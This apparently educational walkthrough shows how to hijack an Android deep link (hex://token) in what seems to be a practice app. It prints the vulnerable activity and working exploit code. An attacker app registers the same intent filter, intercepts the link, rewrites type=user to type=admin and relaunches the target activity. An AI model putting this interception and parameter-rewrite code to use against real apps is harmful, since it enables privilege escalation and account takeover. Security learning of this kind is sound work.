BOOK THIS SPACE FOR AD
ARTICLE ADHello everyone! Today, I’ll walk you through how to exploit a DeepLink hijacking vulnerability to gain admin access.
Let’s dive right in.
While reviewing the AndroidManifest.xml, I noticed an exported activity with the following BROWSABLE intent filter:
<intent-filter><action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="hex"
android:host="token" />
</intent-filter>
This exported activity allows external applications or browsers to interact with it using the hex://token scheme and host combination.
Here’s the relevant snippet of the activity’s code:
public void onCreate(Bundle bundle) {super.onCreate(bundle);
Intent intent = getIntent();
if (intent == null || intent.getAction() == null) {
finish();
return;
}
if (intent.getAction().equals("android.intent.action.VIEW")) {
Uri data = intent.getData();
String type = data.getQueryParameter("type");
String authToken = data.getQueryParameter("authToken");
String authChallenge = data.getQueryParameter("authChallenge");
String savedChallenge = SolvedPreferences.getString(getPrefixKey("challenge"));
if (type == null || authToken == null || authChallenge == null || !authChallenge.equals(savedChallenge)) {
Toast.makeText(this, "Invalid login", Toast.LENGTH_SHORT).show();
finish();
return;
}
if (type.equals("user")) {
Toast.makeText(this, "User login successful", Toast.LENGTH_SHORT).show();
} else if (type.equals("admin")) {
Log.i("Flag14", "hash: " + authToken);
Toast.makeText(this, "Admin login successful", Toast.LENGTH_SHORT).show();
success(this);
}
}
}
Key takeaways from the code:
The type, authToken, and authChallenge parameters are validated.A specific authChallenge must match a saved value to proceed.If the type parameter is set to "admin" and the hash of authToken matches a predefined value, admin login is granted.To exploit this vulnerability, I created an attack application with the same intent filter in its AndroidManifest.xml:
<intent-filter><action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="hex"
android:host="token" />
</intent-filter>
This allows my application to intercept the DeepLink.
Here’s the initial code I used to send an intent via the application’s DeepLink:
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setClassName("com.example", "com.example.connectProperty");
startActivity(intent);
}
});
}
Upon inspecting the intent data, I found a parameter called type=user. This parameter defines the user’s role:
What happens if we replace type=user to type=admin? 🤔
Here’s the final exploit code:
if (intent.getAction().equals("android.intent.action.VIEW")) {Uri data = intent.getData();
if (data != null && data.getScheme().equals("hex") && data.getHost().equals("token")) {
Intent newIntent = new Intent();
newIntent.fillIn(intent, Intent.FILL_IN_DATA | Intent.FILL_IN_ACTION | Intent.FILL_IN_CATEGORIES);
newIntent.setClassName("com.example", "com.example.connectProperty");
newIntent.setData(Uri.parse(newIntent.getDataString().replace("type=user", "type=admin")));
startActivity(newIntent);
}
}
By replacing type=user with type=admin in the DeepLink, I successfully gained admin privileges! 🎉
This exercise highlights the importance of securely validating input parameters in DeepLink handlers. Improper validation or overly permissive exported activities can lead to severe vulnerabilities like privilege escalation.